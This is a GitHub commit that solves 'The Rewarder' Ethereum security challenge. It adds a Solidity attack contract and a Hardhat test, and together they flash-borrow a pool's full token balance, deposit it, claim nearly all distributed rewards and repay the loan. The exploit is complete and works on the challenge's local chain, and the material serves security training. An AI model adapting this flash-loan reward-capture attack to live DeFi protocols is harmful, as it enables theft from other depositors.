Skip to content

Commit

Permalink
theredguild#5 - rewarder pool completed
Browse files Browse the repository at this point in the history
  • Loading branch information
jonatascm committed Feb 20, 2022
1 parent 35c190a commit e608ccd
Show file tree
Hide file tree
Showing 2 changed files with 198 additions and 99 deletions.
50 changes: 50 additions & 0 deletions contracts/the-rewarder/RewarderAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
import "./TheRewarderPool.sol";
import "hardhat/console.sol";

/**
* @title RewardedAttacker
* @author Jonatas Campos Martins
* @dev The main idea of this contract is to use the flash load to borrow some tokens, deposit them in * the pool and then get the most of rewards from the pool
*/
contract RewardedAttacker {
DamnValuableToken private liquidityToken;
FlashLoanerPool private flashLoanPool;
TheRewarderPool private rewarderPool;
RewardToken private rewardToken;

receive() external payable {}

constructor(
address _tokenAddress,
address _rewardToken,
address _flashLoanPool,
address _rewarderPool
) {
liquidityToken = DamnValuableToken(_tokenAddress);
flashLoanPool = FlashLoanerPool(_flashLoanPool);
rewarderPool = TheRewarderPool(_rewarderPool);
rewardToken = RewardToken(_rewardToken);
}

function attackRewardedPool() external {
uint256 balancePool = liquidityToken.balanceOf(address(flashLoanPool));
flashLoanPool.flashLoan(balancePool);

//Transfer the rewarded token to attacker
uint256 rewardBalance = rewardToken.balanceOf(address(this));
rewardToken.transfer(address(msg.sender), rewardBalance);
}

function receiveFlashLoan(uint256 _amount) external {
liquidityToken.approve(address(rewarderPool), _amount);
rewarderPool.deposit(_amount);
rewarderPool.distributeRewards();
rewarderPool.withdraw(_amount);
liquidityToken.transfer(address(flashLoanPool), _amount);
}
}
247 changes: 148 additions & 99 deletions test/the-rewarder/the-rewarder.challenge.js
Original file line number Diff line number Diff line change
@@ -1,100 +1,149 @@
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] The rewarder', function () {

let deployer, alice, bob, charlie, david, attacker;
let users;

const TOKENS_IN_LENDER_POOL = ethers.utils.parseEther('1000000'); // 1 million tokens

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

[deployer, alice, bob, charlie, david, attacker] = await ethers.getSigners();
users = [alice, bob, charlie, david];

const FlashLoanerPoolFactory = await ethers.getContractFactory('FlashLoanerPool', deployer);
const TheRewarderPoolFactory = await ethers.getContractFactory('TheRewarderPool', deployer);
const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
const RewardTokenFactory = await ethers.getContractFactory('RewardToken', deployer);
const AccountingTokenFactory = await ethers.getContractFactory('AccountingToken', deployer);

this.liquidityToken = await DamnValuableTokenFactory.deploy();
this.flashLoanPool = await FlashLoanerPoolFactory.deploy(this.liquidityToken.address);

// Set initial token balance of the pool offering flash loans
await this.liquidityToken.transfer(this.flashLoanPool.address, TOKENS_IN_LENDER_POOL);

this.rewarderPool = await TheRewarderPoolFactory.deploy(this.liquidityToken.address);
this.rewardToken = await RewardTokenFactory.attach(await this.rewarderPool.rewardToken());
this.accountingToken = await AccountingTokenFactory.attach(await this.rewarderPool.accToken());

// Alice, Bob, Charlie and David deposit 100 tokens each
for (let i = 0; i < users.length; i++) {
const amount = ethers.utils.parseEther('100');
await this.liquidityToken.transfer(users[i].address, amount);
await this.liquidityToken.connect(users[i]).approve(this.rewarderPool.address, amount);
await this.rewarderPool.connect(users[i]).deposit(amount);
expect(
await this.accountingToken.balanceOf(users[i].address)
).to.be.eq(amount);
}
expect(await this.accountingToken.totalSupply()).to.be.eq(ethers.utils.parseEther('400'));
expect(await this.rewardToken.totalSupply()).to.be.eq('0');

// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

// Each depositor gets 25 reward tokens
for (let i = 0; i < users.length; i++) {
await this.rewarderPool.connect(users[i]).distributeRewards();
expect(
await this.rewardToken.balanceOf(users[i].address)
).to.be.eq(ethers.utils.parseEther('25'));
}
expect(await this.rewardToken.totalSupply()).to.be.eq(ethers.utils.parseEther('100'));

// Attacker starts with zero DVT tokens in balance
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq('0');

// Two rounds should have occurred so far
expect(
await this.rewarderPool.roundNumber()
).to.be.eq('2');
});

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});

after(async function () {
/** SUCCESS CONDITIONS */

// Only one round should have taken place
expect(
await this.rewarderPool.roundNumber()
).to.be.eq('3');

// Users should get neglegible rewards this round
for (let i = 0; i < users.length; i++) {
await this.rewarderPool.connect(users[i]).distributeRewards();
let rewards = await this.rewardToken.balanceOf(users[i].address);

// The difference between current and previous rewards balance should be lower than 0.01 tokens
let delta = rewards.sub(ethers.utils.parseEther('25'));
expect(delta).to.be.lt(ethers.utils.parseUnits('1', 16))
}

// Rewards must have been issued to the attacker account
expect(await this.rewardToken.totalSupply()).to.be.gt(ethers.utils.parseEther('100'));
let rewards = await this.rewardToken.balanceOf(attacker.address);

// The amount of rewards earned should be really close to 100 tokens
let delta = ethers.utils.parseEther('100').sub(rewards);
expect(delta).to.be.lt(ethers.utils.parseUnits('1', 17));

// Attacker finishes with zero DVT tokens in balance
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq('0');
});
const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("[Challenge] The rewarder", function () {
let deployer, alice, bob, charlie, david, attacker;
let users;

const TOKENS_IN_LENDER_POOL = ethers.utils.parseEther("1000000"); // 1 million tokens

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

[deployer, alice, bob, charlie, david, attacker] =
await ethers.getSigners();
users = [alice, bob, charlie, david];

const FlashLoanerPoolFactory = await ethers.getContractFactory(
"FlashLoanerPool",
deployer
);
const TheRewarderPoolFactory = await ethers.getContractFactory(
"TheRewarderPool",
deployer
);
const DamnValuableTokenFactory = await ethers.getContractFactory(
"DamnValuableToken",
deployer
);
const RewardTokenFactory = await ethers.getContractFactory(
"RewardToken",
deployer
);
const AccountingTokenFactory = await ethers.getContractFactory(
"AccountingToken",
deployer
);

this.liquidityToken = await DamnValuableTokenFactory.deploy();
this.flashLoanPool = await FlashLoanerPoolFactory.deploy(
this.liquidityToken.address
);

// Set initial token balance of the pool offering flash loans
await this.liquidityToken.transfer(
this.flashLoanPool.address,
TOKENS_IN_LENDER_POOL
);

this.rewarderPool = await TheRewarderPoolFactory.deploy(
this.liquidityToken.address
);
this.rewardToken = await RewardTokenFactory.attach(
await this.rewarderPool.rewardToken()
);
this.accountingToken = await AccountingTokenFactory.attach(
await this.rewarderPool.accToken()
);

// Alice, Bob, Charlie and David deposit 100 tokens each
for (let i = 0; i < users.length; i++) {
const amount = ethers.utils.parseEther("100");
await this.liquidityToken.transfer(users[i].address, amount);
await this.liquidityToken
.connect(users[i])
.approve(this.rewarderPool.address, amount);
await this.rewarderPool.connect(users[i]).deposit(amount);
expect(await this.accountingToken.balanceOf(users[i].address)).to.be.eq(
amount
);
}
expect(await this.accountingToken.totalSupply()).to.be.eq(
ethers.utils.parseEther("400")
);
expect(await this.rewardToken.totalSupply()).to.be.eq("0");

// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

// Each depositor gets 25 reward tokens
for (let i = 0; i < users.length; i++) {
await this.rewarderPool.connect(users[i]).distributeRewards();
expect(await this.rewardToken.balanceOf(users[i].address)).to.be.eq(
ethers.utils.parseEther("25")
);
}
expect(await this.rewardToken.totalSupply()).to.be.eq(
ethers.utils.parseEther("100")
);

// Attacker starts with zero DVT tokens in balance
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq("0");

// Two rounds should have occurred so far
expect(await this.rewarderPool.roundNumber()).to.be.eq("2");
});

it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
/**
* Create a contract that attacks the rewarded pool getting most of the rewards to attacker,
* use the flashloan to borrow token and then use them to claim the rewards
*/
const RewardedAttackerFactory = await ethers.getContractFactory(
"RewardedAttacker",
attacker
);

const rewardedAttacker = await RewardedAttackerFactory.deploy(
this.liquidityToken.address,
this.rewardToken.address,
this.flashLoanPool.address,
this.rewarderPool.address
);

// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await rewardedAttacker.connect(attacker).attackRewardedPool();
});

after(async function () {
/** SUCCESS CONDITIONS */

// Only one round should have taken place
expect(await this.rewarderPool.roundNumber()).to.be.eq("3");

// Users should get neglegible rewards this round
for (let i = 0; i < users.length; i++) {
await this.rewarderPool.connect(users[i]).distributeRewards();
let rewards = await this.rewardToken.balanceOf(users[i].address);

// The difference between current and previous rewards balance should be lower than 0.01 tokens
let delta = rewards.sub(ethers.utils.parseEther("25"));
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 16));
}

// Rewards must have been issued to the attacker account
expect(await this.rewardToken.totalSupply()).to.be.gt(
ethers.utils.parseEther("100")
);
let rewards = await this.rewardToken.balanceOf(attacker.address);

// The amount of rewards earned should be really close to 100 tokens
let delta = ethers.utils.parseEther("100").sub(rewards);
expect(delta).to.be.lt(ethers.utils.parseUnits("1", 17));

// Attacker finishes with zero DVT tokens in balance
expect(await this.liquidityToken.balanceOf(attacker.address)).to.eq("0");
});
});

0 comments on commit e608ccd

Please sign in to comment.